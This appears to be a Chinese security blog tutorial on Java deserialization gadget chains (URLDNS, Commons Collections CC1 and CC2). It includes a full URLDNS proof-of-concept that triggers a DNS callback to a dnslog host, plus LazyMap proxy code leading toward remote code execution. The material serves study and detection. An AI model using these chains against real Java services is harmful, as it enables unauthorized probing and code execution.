没有分析CC4和CC5是因为他们和之前的太像了 大家搜一下学下就行
- URLDNS链子
参考文章 https://blog.csdn.net/youuzi/article/details/138129801
URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
不限制jdk版本,使用Java内置类,对第三方依赖没有要求。所以通常用于检测反序列化的点
目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
URLDNS利用链,只能发起DNS请求,并不能进行其他利用
核心触发在于hashCode函数里面默认调用解析url,所以我们就找哪里调用了hashCode其重写了readobject方法即可这里找到了HashMap类
另外这里在构造的时候需要进行手动put改变table的值 这是hashmap机制问题 当我们去put的时候就会计算一遍hash,这样在本地就会触发一次dns请求会造成干扰,我们这里采用将put的时候要将hashcode不为1,不然在本地跑的时候就会dns请求一次,put后table改变 达到目的待会在序列化的时候 就可以直接调用 internalWriteEntries函数,实现写入
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
后面就通过readobject实现dns探测流程为HashMap.readobject->调用HashMap.hash(此时我们的hashcode为-1,因为我们在序列化的时候就把他重置成-1了)->URL.hashcode成功探测
完整POC
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class Tpp {
public static void main(String[] args) throws IOException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
URL url =new URL("http://gyoaok.dnslog.cn");
Class<? extends URL> aClass = url.getClass();
Field hashCodeField = aClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,1234);
HashMap hashMap = new HashMap();
hashMap.put(url,1234);//这里是为了避免put的时候调用hash造成干扰
hashCodeField.set(url,-1);
FileOutputStream fileOutputStream = new FileOutputStream("./serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./serialize.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
}
}
CC1
TransformedMap链子
在整个CC链中 核心在于transform 而我们找到的触发类是 TransformedMap的三个保护方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
我们要找一个类或方法调用这三个方法其中一个即可触发,对应的为decorate 他是public权限 返回的是一个TransformedMap
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
可以看到参数valueTransformer就是我们transformValue方法中调用transform的方法所需要的对象
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
而后通过put方法把链子给到transformValue而且这里用put也是为了绕过protect限制但实际上业务里面没有put所以这个我们仅做了解即可
虽然调用链不同:
put() → transformValue(...)
setValue() → checkSetValue(...)->transform()这才是更多见的
但最终逻辑是一样的,都会触发:
valueTransformer.transform(value);
额外补充:在跟进的时候发现多态的特性在cc1的transformmap链子中起到关键作用 我们都知道 要调用TransformedMap的checkSetValue,但是跟进后发现并没有直接调用TransformedMap的checkSetValue,而是找到了TransformedMap的父类AbstractInputCheckedMapDecorator,父类里面有专属的方法setValue调用了checkSetValue且可通过构造函数控制传入的类,但是我们的子类是没有这个方法的,所以多态的特性就在这里体现了,我们构造函数(MapEntry)同过外部的this.memberValues去控制为TransformedMap即可使得this.parent为TransformedMap,但调用的构造函数等等以及setValue都是父类的 这就是多态,导致我们成功执行checkSetValue,闭环cc1TransformedMap链子
后面我们只需要找到一个类继承序列化 且重写readobject即可 AnnotationInvocationHandler就是 对应注意 他调用链是这样 setValue调用checkSetValue再调用transform实现反序列化,在此重要的是setValue的调用是需要条件的在AnnotationInvocationHandler.readObject中,他需要我们去传入一个class和一个map,这里对class的要求是必须是注解类,对map的要求是要有其属性 这个可以看重写的readObject里面俩个的if判断
拓展知识点补充:
Java 对序列化有一套规范,由 ObjectInputStream 控制整个反序列化过程。这个过程遵循以下步骤:
Java 反序列化过程简图:
ObjectInputStream.readObject()
└── 找到类名 → 实例化对象(跳过构造器)
└── 读取字段
└── 如果类中有 readObject(ObjectInputStream),就自动调用它
为什么是你写的 readObject() 被自动调用?
Java 对支持序列化的类(即实现了 Serializable 接口的类),有内置的钩子方法机制:
官方规范(来自 JDK 文档):
如果一个类:
实现了 java.io.Serializable且包含一个这样的私有方法:private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException
那么 Java 的 ObjectInputStream 会在反序列化时自动调用这个方法,而不是仅仅恢复字段。
LazyMap链
lazyMap.get("value123");触发在于lazyMap的get方法且不能是map里面存在的键

在这个后续流程里面涉及到了动态代理
因为我们的get方法要在AnnotationInvocationHandler的invoke方法里面去调用(并且这个get的调用类是可控制的memberValues,在构造器里面传入的第二个参数即可),这里我们就很清晰了,传入LazyMap就行,但是在这里是不能直接传入的,因为invoke的调用问题,后续我们会介绍
我们不能直接调用invoke,需要找个代理接口,AnnotationInvocationHandler继承InvocationHandler,存在invoke方法,我们需要控制的是invoke调用的时候,参数是LazyMap,比如
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);
Object obj = declaredConstructor.newInstance(Target.class, mapProxy);
当代理mapProxy的函数被调用的时候就会触发ih里面的invoke方法,参数是lazyMap成功造成rce,而这里在readobject的时候 memberValues的值就是mapProxy,其类型是一个map,可以看到readobject有多个操作mapProxy方法的,会触发InvocationHandler的invoke方法,在invoke方法里面memberValues是LazyMap!,另外这是通过反射创建的不同对象互相没有联系,单独的定义域
那么我们做的就是处理好参数即可,链子的流程大致就是AnnotationInvocationHandler.readobject->AnnotationInvocationHandler.invoke->.memberValues.get
CC2
CC2对比CC1来说太简单了,整体来说在一个类里面就完成了所有的操作,我们想要的还是找readobject里面调用方法导致CC2执行
我们之间复制ai的总结 太香了我实在懒得自己写了
我们还是逆着去找 依旧是InvokerTransformer.transform导致的问题 我们需要找到一个类 里面调用了transform且类型可控
TransformingComparator类里面的compare方法是调用了transform 且this.transformer是可控的通过构造方法即可控制大致思路就是先构造对象后调用compare方法即可
补充:其实在cc1链的时候就研究过了 为什么这里传入的object参数是随机的但还是可以调用我们想要的命令,看InvokerTransformer中发现transform的参数为核心参数会去反射调用,所以在构造transform链的时候 肯定参数不能是随意的,但是为什么在找调用类的时候发现这个参数无关紧要
其实原因在于ConstantTransformer的构造函数和transform函数,他不在乎transform的参数是谁,也就意味着无需关注传入的·参数 在ChainedTransformer的transform第一个调用的就是ConstantTransformer的transform,会直接更新object为构造函数的值
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



